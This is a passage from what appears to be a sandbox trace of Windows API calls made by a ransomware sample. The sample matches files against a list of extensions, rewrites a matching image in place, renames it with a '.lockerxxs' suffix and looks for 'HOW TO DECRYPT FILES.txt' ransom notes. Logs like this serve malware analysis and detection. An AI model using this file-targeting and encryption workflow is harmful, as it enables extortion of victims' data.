HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg", pszSpec="*.db") returned 0 [0084.574] lstrlenA (lpString="*.db") returned 4 [0084.574] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg", pszSpec="*.dbf") returned 0 [0084.574] lstrlenA (lpString="*.dbf") returned 5 [0084.574] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg", pszSpec="*.myox") returned 0 [0084.574] lstrlenA (lpString="*.myox") returned 6 [0084.574] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg", pszSpec="*.myo") returned 0 [0084.574] lstrlenA (lpString="*.myo") returned 5 [0084.574] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg", pszSpec="*.qbw") returned 0 [0084.574] lstrlenA (lpString="*.qbw") returned 5 [0084.574] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg", pszSpec="*.qbb") returned 0 [0084.574] lstrlenA (lpString="*.qbb") returned 5 [0084.574] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg", pszSpec="*.qbm") returned 0 [0084.574] lstrlenA (lpString="*.qbm") returned 5 [0084.574] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg", pszSpec="*.qbo") returned 0 [0084.574] lstrlenA (lpString="*.qbo") returned 5 [0084.574] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg", pszSpec="*.qbx") returned 0 [0084.574] lstrlenA (lpString="*.qbx") returned 5 [0084.574] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg", pszSpec="*.qba") returned 0 [0084.574] lstrlenA (lpString="*.qba") returned 5 [0084.574] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg", pszSpec="*.qby") returned 0 [0084.574] lstrlenA (lpString="*.qby") returned 5 [0084.574] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg", pszSpec="*.qbj") returned 0 [0084.574] lstrlenA (lpString="*.qbj") returned 5 [0084.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg", pszSpec="*.ofx") returned 0 [0084.575] lstrlenA (lpString="*.ofx") returned 5 [0084.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg", pszSpec="*.qif") returned 0 [0084.575] lstrlenA (lpString="*.qif") returned 5 [0084.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg", pszSpec="*.mye") returned 0 [0084.575] lstrlenA (lpString="*.mye") returned 5 [0084.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg", pszSpec="*.mbox") returned 0 [0084.575] lstrlenA (lpString="*.mbox") returned 6 [0084.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg", pszSpec="*.eml") returned 0 [0084.575] lstrlenA (lpString="*.eml") returned 5 [0084.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg", pszSpec="*.pst") returned 0 [0084.575] lstrlenA (lpString="*.pst") returned 5 [0084.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg", pszSpec="*.ost") returned 0 [0084.575] lstrlenA (lpString="*.ost") returned 5 [0084.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg", pszSpec="*.idx") returned 0 [0084.575] lstrlenA (lpString="*.idx") returned 5 [0084.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg", pszSpec="*.dbx") returned 0 [0084.575] lstrlenA (lpString="*.dbx") returned 5 [0084.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg", pszSpec="*.sql") returned 0 [0084.575] lstrlenA (lpString="*.sql") returned 5 [0084.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg", pszSpec="*.mdb") returned 0 [0084.576] lstrlenA (lpString="*.mdb") returned 5 [0084.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg", pszSpec="*.fdb") returned 0 [0084.576] lstrlenA (lpString="*.fdb") returned 5 [0084.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg", pszSpec="*.wab") returned 0 [0084.576] lstrlenA (lpString="*.wab") returned 5 [0084.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg", pszSpec="*.dat") returned 0 [0084.576] lstrlenA (lpString="*.dat") returned 5 [0084.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg", pszSpec="*.txt") returned 0 [0084.576] lstrlenA (lpString="*.txt") returned 5 [0084.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg", pszSpec="*.jpeg") returned 0 [0084.576] lstrlenA (lpString="*.jpeg") returned 6 [0084.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg", pszSpec="*.jpg") returned 1 [0084.576] lstrlenA (lpString="*.jpg") returned 5 [0084.576] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg" [0084.576] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg" [0084.576] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg." [0084.576] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg.lockerxxs" [0084.576] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\benefits-1[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.577] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1fdaf [0084.577] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x60cdb940, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x60cdb940, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x60d4dd60, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.577] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.577] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1fd89, lpOverlapped=0x0) returned 1 [0084.581] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg") returned="benefits-1[1].jpg" [0084.582] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.582] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1fd89, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1fd89, lpOverlapped=0x0) returned 1 [0084.583] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.583] CloseHandle (hObject=0xa4) returned 1 [0084.583] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\benefits-1[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\benefits-1[1].jpg.lockerxxs")) returned 1 [0084.584] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6157c900, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6157c900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x615c8bc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x12282, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="cb=gapi[1].loaded_1", cAlternateFileName="CB_GAP~1.LOA")) returned 1 [0084.584] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.584] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cb=gapi[1].loaded_1") returned 1 [0084.584] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cb=gapi[1].loaded_1") returned 1 [0084.584] lstrcmpiA (lpString1="", lpString2="cb=gapi[1].loaded_1") returned -1 [0084.584] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg") returned="benefits-1[1].jpg" [0084.585] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.585] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.585] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.585] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.585] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="cb=gapi[1].loaded_1" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1" [0084.585] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.ems") returned 0 [0084.585] lstrlenA (lpString="*.ems") returned 5 [0084.585] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.db") returned 0 [0084.585] lstrlenA (lpString="*.db") returned 4 [0084.585] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.dbf") returned 0 [0084.585] lstrlenA (lpString="*.dbf") returned 5 [0084.585] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.myox") returned 0 [0084.585] lstrlenA (lpString="*.myox") returned 6 [0084.585] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.myo") returned 0 [0084.585] lstrlenA (lpString="*.myo") returned 5 [0084.585] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.qbw") returned 0 [0084.586] lstrlenA (lpString="*.qbw") returned 5 [0084.586] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.qbb") returned 0 [0084.586] lstrlenA (lpString="*.qbb") returned 5 [0084.586] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.qbm") returned 0 [0084.586] lstrlenA (lpString="*.qbm") returned 5 [0084.586] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.qbo") returned 0 [0084.586] lstrlenA (lpString="*.qbo") returned 5 [0084.586] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.qbx") returned 0 [0084.586] lstrlenA (lpString="*.qbx") returned 5 [0084.586] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.qba") returned 0 [0084.586] lstrlenA (lpString="*.qba") returned 5 [0084.586] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.qby") returned 0 [0084.586] lstrlenA (lpString="*.qby") returned 5 [0084.586] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.qbj") returned 0 [0084.586] lstrlenA (lpString="*.qbj") returned 5 [0084.586] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.ofx") returned 0 [0084.586] lstrlenA (lpString="*.ofx") returned 5 [0084.586] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.qif") returned 0 [0084.587] lstrlenA (lpString="*.qif") returned 5 [0084.587] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.mye") returned 0 [0084.587] lstrlenA (lpString="*.mye") returned 5 [0084.587] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.mbox") returned 0 [0084.587] lstrlenA (lpString="*.mbox") returned 6 [0084.587] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.eml") returned 0 [0084.587] lstrlenA (lpString="*.eml") returned 5 [0084.587] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.pst") returned 0 [0084.587] lstrlenA (lpString="*.pst") returned 5 [0084.587] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.ost") returned 0 [0084.587] lstrlenA (lpString="*.ost") returned 5 [0084.587] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.idx") returned 0 [0084.587] lstrlenA (lpString="*.idx") returned 5 [0084.587] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.dbx") returned 0 [0084.587] lstrlenA (lpString="*.dbx") returned 5 [0084.587] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.sql") returned 0 [0084.587] lstrlenA (lpString="*.sql") returned 5 [0084.587] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.mdb") returned 0 [0084.587] lstrlenA (lpString="*.mdb") returned 5 [0084.587] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.fdb") returned 0 [0084.587] lstrlenA (lpString="*.fdb") returned 5 [0084.587] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.wab") returned 0 [0084.588] lstrlenA (lpString="*.wab") returned 5 [0084.588] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.dat") returned 0 [0084.588] lstrlenA (lpString="*.dat") returned 5 [0084.588] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.txt") returned 0 [0084.588] lstrlenA (lpString="*.txt") returned 5 [0084.588] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.jpeg") returned 0 [0084.588] lstrlenA (lpString="*.jpeg") returned 6 [0084.588] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.jpg") returned 0 [0084.588] lstrlenA (lpString="*.jpg") returned 5 [0084.588] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.png") returned 0 [0084.588] lstrlenA (lpString="*.png") returned 5 [0084.588] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.php") returned 0 [0084.588] lstrlenA (lpString="*.php") returned 5 [0084.588] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 